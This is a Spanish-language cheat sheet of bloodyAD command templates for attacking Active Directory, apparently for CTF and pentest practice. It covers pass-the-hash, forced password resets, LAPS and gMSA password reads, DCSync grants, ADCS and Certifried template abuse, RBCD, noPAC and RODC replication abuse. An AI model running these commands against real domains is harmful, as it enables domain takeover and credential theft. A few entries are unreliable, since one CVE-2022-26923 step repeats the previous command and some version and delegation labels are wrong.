🔌Autenticación — Modos de Conexión
| Comando | Descripción |
|---|---|
| bloodyAD --host <DC_FQDN> -d <domain> -u <user> -p '<pass>' <acción> | Autenticación básica con contraseña en texto claro + especificando FQDN: necesario cuando el dominio tiene resolución DNS configurada — formato más habitual en CTF |
| bloodyAD --host <DC_FQDN> -d <domain> -u <user> -p '<:hash>' <acción> | Para realizar PtH(Pass the Hash) -p ':NThash' |
| bloodyAD --host <DC_IP> -d <domain> -u <user> -p '<pass>' --dc-ip <DC_IP> <acción> | Especifica --dc-ip de forma explícita — útil cuando --host es un FQDN y hay resolución DNS inestable |
| bloodyAD --host <DC_IP> -d <domain> -u <user> -k <acción> | Autenticación Kerberos usando la caché de tickets (KRB5CCNAME) — usado tras importar/forjar un ticket .ccache |
| KRB5CCNAME=/ruta/ticket.ccache bloodyAD --host <FQDN> -d <domain> -u <user> -k <acción> | Establece el ticket activo y lanza bloodyAD con Kerberos en un solo bloque — útil tras S4U2Self |
| proxychains bloodyAD --host <DC_IP> -d <domain> -u <> -p <> --dc-ip <DC_IP> <acción> | Conexión a través de túnel SOCKS (chisel/ligolo) — para acceder a DCs de redes internas pivotando desde un host comprometido |
| bloodyAD [...] -f rc4 / aes / etc | Especifica formato de autenticación (Kerberos/Hash) |
🔎Enumeración — get object / get writable
| Comando | Descripción |
|---|---|
| bloodyAD [...] get bloodhound | Recolecta datos para BloodHound (si tenemos acceso para ldap) |
| bloodyAD [...] get object '<CN o DN>' | Recupera todos los atributos de un objeto AD — usuarios, grupos, equipos, GPOs, etc. Equivalente a Get-ADObject |
| bloodyAD [...] get object '<CN>' --attr memberOf | Muestra únicamente el atributo memberOf del objeto — útil para ver a qué grupos pertenece un usuario sin output excesivo |
| bloodyAD [...] get object '<COMPUTER$>' | Consulta atributos de una cuenta de equipo |
| bloodyAD [...] get object '<CN>' --resolve-sd | Muestra la Security Descriptor del objeto resuelta en texto legible — revela ACEs, propietarios y permisos efectivos sobre el objeto |
| bloodyAD [...] get writable --otype ALL --detail | Lista todos los objetos AD sobre los que el usuario actual tiene permisos de escritura — primera acción tras comprometer una cuenta para buscar ACL abuse |
| bloodyAD [...] get writable --otype COMPUTER --detail | Filtra solo objetos de tipo COMPUTER donde se tienen permisos de escritura — busca targets para RBCD o SPN abuse |
| bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype user | Lista todos los usuarios del dominio — Siendo los atributos críticos name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount |
| bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype computer | Lista todos los equipos del dominio |
| bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype container | Lista contenedores del dominio. |
| bloodyAD [...] get children --target 'DC=<domain>,DC=<tld>' --otype OU | Listar todas las OU del dominio. |
| bloodyAD [...] get children --target 'CN=SitesDC,CN=Configuration,DC=<domain>,DC=<tld>' | Listar todas las Sites del dominio. |
| bloodyAD [...] get search --filter '(servicePrincipalName=*)' --attr sAMAccountName | Lista cuentas Kerberoastables (con SPN) |
| bloodyAD [...] get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' --attr sAMAccountName | Lista cuentas AS-REP Roastables (DONT_REQ_PREAUTH) |
| bloodyAD [...] get children --otype trustedDomain | Enumera relaciones de confianza (trusts) |
| bloodyAD [...] get object 'DC=<domain>,DC=<tld>' --attr minPwdLength | Obtiene la política de longitud mínima de contraseña |
| bloodyAD [...] get object 'DC=<domain>,DC=<tld>' --attr msDS-Behavior-Version | Obtiene el nivel funcional del dominio — Dependiendo del valor, funciona en un servidor distinto [0 (Windows 200), 1 (Windows Server interim), 2 (Windows Server 2003), 3 (Windows Server 2008), 4 (Windows Server 2008 R2), 5 (Windows Server 2012), 6 (Windows Server 2012 R), 7 (Windows Server 2016), 8 (Windows Server 2019), 9 (Windows Server 2022), 10 (Windows Server 2025)] |
| bloodyAD [...] get object '<user>' --attr userAccountControl | Muestra flags UAC del usuario — Si quisieramos buscar el UAC de un usuario en específico, debemos utilizar get object --attr userAccountControl |
| bloodyAD [...] get dnsDump | Dump completo de registros DNS del AD |
| bloodyAD [...] get search -h | Muestra ayuda para búsquedas LDAP avanzadas |
| bloodyAD [...] get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 | Muestra objetos eliminados — (tombstoned: es el estado de un objeto de Active Directory que ha sido eliminado pero aún no purgado completamente del sistema). También podemos específicarlo explícitamente agregando --filter '(isDeleted=TRUE)' |
🔑Cambiar y Leer contraseñas
| Comando | Descripción |
|---|---|
| bloodyAD [...] set password <target_user> '<new_pass>' | Cambia la contraseña de target_user sin conocer la actual — requiere ACE ForceChangePassword o GenericAll sobre el objeto usuario |
| bloodyAD [...] get object '<gmsa$>' --attr msDS-ManagedPassword | Lee la contraseña de cuentas gMSA |
| bloodyAD [...] get object '<COMPUTER$>' --attr ms-Mcs-AdmPwd | Obtiene contraseña LAPS del equipo |
♻️Restaurar Objetos
| Comando | Descripción |
|---|---|
| bloodyAD [...] get object 'DC=htb,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones' <user> | Comprueba si tenemos permisos para restaurar objetos eliminados — También podemos usar get writable --detail para ver si tenemos ACL sobre otros usuarios). |
| bloodyAD [...] get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' | Muestra objetos eliminados |
| bloodyAD [...] set restore '<user>' | Restaura objeto eliminado: podemos especificar SAM, GUID, SID o DN — si hay cross-domain entonces debemos utilizar SID |
| bloodyAD [...] get writable --include-del | Incluye objetos eliminados en búsqueda |
🎭ACL Abuse — genericAll / WriteDacl / DCSync / Attributes / ADCS
| Comando | Descripción |
|---|---|
| bloodyAD [...] add groupMember '<GROUP>' '<user>' | Añade user al grupo GROUP — requiere GenericAll, GenericWrite o WriteMembers sobre el grupo. Uso habitual: añadirse a grupos privilegiados (Admins, operadores, etc.) |
| bloodyAD [...] remove groupMember '<GROUP>' '<MEMBER_TO_DELETE>' | Elimina user de un grupo — Útil en casos donde el grupo sea Protected Users o nos impida cierta acción |
| bloodyAD [...] add genericAll 'DC=<domain>,DC=<tld>' <user> | Abusa de WriteDacl sobre el objeto raíz del dominio para añadir un ACE GenericAll a tu propio usuario — da control total sobre todo el dominio |
| bloodyAD [...] add genericAll '<DN_del_objeto>' <user> | Añade GenericAll sobre un objeto concreto (GPO, OU, usuario, etc.) identificado por su DN — vector habitual tras encontrar WriteDacl en Bloodhound |
| bloodyAD [...] add dcsync <user> | Otorga privilegios de DCSync al usuario — equivale a añadir el ACE DS-Replication-Get-Changes-All sobre el dominio. Prerequisito para impacket-secretsdump |
| bloodyAD [...] set owner '<group>' '<user>' | Abusa de WriteOwner para tomar control del objeto y posteriormente modificar sus permisos |
| bloodyAD [...] add shadowCredentials '<target>' | Añade Shadow Credentials para persistencia (cert abuse) |
| bloodyAD [...] set object '<target>' servicePrincipalName -v 'domain/spn' | WriteSPN — permite Kerberoasting/control SPN |
| bloodyAD [...] set object '<COMPUTER$>' sAMAccountName -v '<nuevo_nombre>' | Modifica el sAMAccountName de un equipo controlado — vector clave del ataque noPAC/SAM Spoofing (CVE-2021-42278/42287). El nuevo nombre debe ser el DC sin el símbolo $ |
| bloodyAD [...] set object '<user>' userPrincipalName -v '<new_upn>' | Modifica el UPN del usuario — Útil para ADCS o UPN Spoofing |
| bloodyAD [...] set object '<user>' mail -v '<email>' | Modifica el atributo mail — Útil en ADCS(ESC14) cuando la plantilla nos solicita(mediante EKU) SubjectAltRequireEmail |
| bloodyAD [...] set object '<DN>' scriptPath -v '<file>' | Modifica script de logon |
| bloodyAD [...] add uac '<user>' -f DONT_REQ_PREAUTH | Hace la cuenta AS-REP Roastable |
| bloodyAD [...] remove uac '<user>' -f ACCOUNTDISABLE | Eliminar la flag ACCOUNTDISABLE del UAC de la víctima — si no lo removemos, el usuario continuará deshabilitado y no podremos utilizarlo |
| Modificar el ámbito o el tipo de un grupo (eludir las restricciones de cambio directo de ámbito) | Active Directory suele impedir la conversión directa de «Local del dominio» -> «Global» -> permite miembros cross-domain. Solución en las siguientes filas: |
| bloodyAD [...] set object 'CN=TARGET GROUP,CN=USERS,DC=HTB,DC=LOCAL' groupType -v -2147483640 | 1º Convertirlo en un grupo universal de seguridad (-2147483640) |
| bloodyAD [...] set object 'CN=TARGET GROUP,CN=USERS,DC=HTB,DC=LOCAL' groupType -v -2147483644 | 2º Convertirlo un grupo global de seguridad (-2147483644). |
📃ADCS Attacks
| Comando | Descripción |
|---|---|
| bloodyAD [...] add shadowCredentials '<target>' | Shadow Credentials attack (requiere PKINIT) |
| bloodyAD [...] set object '<user>' altSecurityIdentities -v 'X509:<RFC822>mail' | ESC14B — abuso de certificados |
| bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Enrollment-Flag -v 1 | 1.Downgradeando ESC4 -> ESC1 |
| bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Certificate-Name-Flag -v 1 | 2.Downgradeando ESC4 -> ESC1 |
| bloodyAD [...] set object '<user>' userPrincipalName -v '<new_upn>' | Modifica el UPN del usuario — Útil para ADCS o UPN Spoofing |
| bloodyAD [...] set object '<user>' mail -v '<email>' | Modifica el atributo mail — Útil en ADCS(ESC14) cuando la plantilla nos solicita(mediante EKU) SubjectAltRequireEmail |
| bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Enrollment-Flag -v 524320 | CVE-2022-26923 — Paso 1. Permisos WRITE sobre template = Podemos editarlo para que no embebe el SID en el template (para hacerlo vulnerable a Certifried) |
| bloodyAD [...] set object '<certificate_template(SAM)>' msPKI-Enrollment-Flag -v 524320 | CVE-2022-26923 — Paso 2. Permiso WRITE sobre dnsHostname = editarlo para que apunte al DC / equipo_víctima. Alternativa con MAQ>0 o WriteMAQ->OU: crear equipo con el dnsHostname editado desde el principio |
✏️Abuso de Delegación RBCD / gMSA / dMSA
| Comando | Descripción |
|---|---|
| bloodyAD [...] get object 'DC=<domain>,DC=<tld>' --attr ms-DS-MachineAccountQuota | Consulta MachineAccountQuota |
| bloodyAD [...] set object 'DC=<domain>,DC=<tld>' ms-DS-MachineAccountQuota -v 10 | Modifica MachineAccountQuota si tenemos permisos |
| bloodyAD [...] add rbcd 'TARGET$' 'ATTACKER$' | Configura RBCD (Resource-Based Constrained Delegation) |
| bloodyAD [...] get object '<gMSA>' --attr msDS-ManagedPassword | Obtiene contraseña de cuenta gMSA |
| bloodyAD [...] add uac '<target>' -f TRUSTED_TO_AUTH_FOR_DELEGATION | Habilita Constrained Delegation 0x1000000 (16777216) (delegación no restringida) — el usuario víctima NO debe tener en el UACNOT_DELEGATED |
| bloodyAD --host <DC_IP> -d <domain> -u <user> -p '<pass>' add computer '<NOMBRE$>' '<pass>' | Crea una cuenta de equipo en el dominio — requiere que MAQ > 0 o que el usuario tenga permisos delegados. Usado como paso previo a RBCD o noPAC |
| bloodyAD --host <DC_IP> -d <domain> -u <user> -p '<pass>' add computer --ou '<OU=X,DC=Y,DC=Z>' '<NOMBRE$>' '<pass>' | Crea el equipo en una OU específica con --ou — necesario cuando MAQ=0 globalmente pero el usuario tiene CREATE_CHILD en una OU concreta (p.ej. OU=Servers). El DN de la OU debe ser en mayúsculas |
| bloodyAD [...] get writable --otype ALL --detail | Paso 1. Busca permisos CREATE_CHILD sobre OUs — prerequisito del abuso BadSuccessor. Si el usuario puede crear objetos en una OU, puede usarse para escalar |
| bloodyAD [...] add badSuccessor attacker_dMSA | Abuso de CREATE_CHILD en una unidad organizativa (OU) en Windows Server 2025 — dMSA (BadSuccessor) |
| bloodyAD [...] get writable --otype COMPUTER --detail | Paso 2. Filtra los objetos de tipo COMPUTER con get writable --otype COMPUTER --detail para identificar: 1. Qué equipos ya existen y sobre cuáles tenemos permisos de escritura 2. Dónde podemos crear un nuevo equipo (necesitas al menos permisos de creación dentro de una OU - MAQ > 0) — Para ataques RBCD o BadSuccessor, se necesita un objeto COMPUTER controlado por el atacante. Si no existe uno, se debe crear (machineaccountquota permite crear hasta 10 por defecto) |
🥇RODC Attacks (RODC Golden Ticket)
| Comando | Descripción |
|---|---|
| RODC Attack = DC solo de Lectura | Si se dispone de control administrativo sobre un objeto de equipo RODC (controlador de dominio de solo lectura) en AD existe una vía para comprometer por completo el dominio. Al modificar la política de replicación de contraseñas (PRP) del RODC mediante los atributos msDS-RevealOnDemandGroup(White-List) y msDS-NeverRevealGroup(Black/Block-List), un atacante puede permitir que las credenciales de un administrador de dominio se almacenen en caché en el RODC, iniciar sesión en el RODC y extraer las credenciales. |
| bloodyAD [...] get object 'RODC01$' --attr msDS-RevealOnDemandGroup | Obtener los objetos que pertenece al atributo msDS-RevealOnDemandGroup del objeto RODC. |
| bloodyAD [...] set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=htb,DC=local' -v 'CN=Administrator,CN=Users,DC=htb,DC=local' | Añadir el usuario con privilegios elevados (por ejemplo, un administrador) al grupo de replicación permitido, junto con los valores originales obtenidos anteriormente |
| bloodyAD [...] set object 'RODC01$' msDS-NeverRevealGroup | Borramos o modificamos el atributo msDS-NeverRevealGroup para cerciorarnos de que no se impida al usuario víctima(administrador) realizar la replicación |
🎭noPAC — SAM Spoofing (CVE-2021-42278/42287)
| Comando | Descripción |
|---|---|
| bloodyAD [...] set object 'FAKE$' sAMAccountName -v 'DC_NAME' | Paso 1. Renombra el equipo FAKE$ al nombre del DC sin el $ — engaña al KDC para que emita un TGT como si fuera el DC |
| bloodyAD --host <DC_FQDN> -d <domain> -u <user> -k --dc-ip <IP> get object "FAKE$" | Verifica los atributos actuales del equipo controlado — confirma que el sAMAccountName fue modificado correctamente antes de solicitar el TGT |
| getTGT.py + export KRB5CCNAME=/ruta/DC_NAME.ccache | Paso 2. Establecer el ticket TGT obtenido (como el nombre del DC) — necesario antes de usar getST.py para S4U2Self y obtener un ST como Administrator |
| bloodyAD [...] get object '<user>' --attr userPrincipalName | Verifica cambio de UPN para luego getST.py -k -no-pass -self -impersonate Administrator -dc-ip <IP> '<WINDCORP.htb/EARTH> -alservice cifs/EARTH.windcorp.htb — Se puede automatiza con scanner.py/noPAC.py |
🌐DNS ATTACKS - Alternativa a dnstool.py
| Comando | Descripción |
|---|---|
| bloodyAD [...] get writable --detail | Verificar que tenemos el permiso RIGHT_DS_WRITE_PROPERTY o GenericWrite sobre el atributo dnsRecord |
| bloodyAD [...] add dnsRecord '<name>' '<ip>' | Añadimos registro DNS |
| bloodyAD [...] remove dnsRecord '<name>' '<ip>' | Elimina registro DNS |
⚙️Referencia Rápida — Flags y Opciones Globales
| Flag / Opción | Descripción |
|---|---|
| --host <IP o FQDN> | Dirección del DC. Usar siempre la IP cuando se hace a través de proxychains — el FQDN puede fallar si la resolución DNS no está disponible en el túnel |
| -d <domain> | Nombre del dominio (p.ej. contoso.local) — obligatorio en todos los comandos |
| -u <username> | Usuario autenticado — puede ser en formato user o DOMAIN\user |
| -p '<password>' | Contraseña en texto claro o con ':NThash' para PtH — entrecomillar siempre para evitar problemas con caracteres especiales |
| -k | Usar autenticación Kerberos con el ticket definido en $KRB5CCNAME — no compatible con -p |
| --dc-ip <IP> | Fuerza la IP del DC independientemente de lo que resuelva DNS — combinarlo con --host <FQDN> cuando hay problemas de resolución |
| --attr <atributo> | Filtra la salida de get object a un atributo concreto — evita output masivo (p.ej. --attr memberOf, --attr sAMAccountName) |
| --resolve-sd | Resuelve la Security Descriptor del objeto en texto legible — muestra ACEs, trustees y permisos sin necesidad de Bloodhound |
| --otype ALL / COMPUTER / USER / GROUP | Filtra el tipo de objeto en get writable — reduce el output y acelera la enumeración de ACLs abusables |
| --ou '<DN_OU>' | OU de destino para add computer — el DN debe ir en mayúsculas y respetando la jerarquía exacta del directorio (verificar en Bloodhound antes) |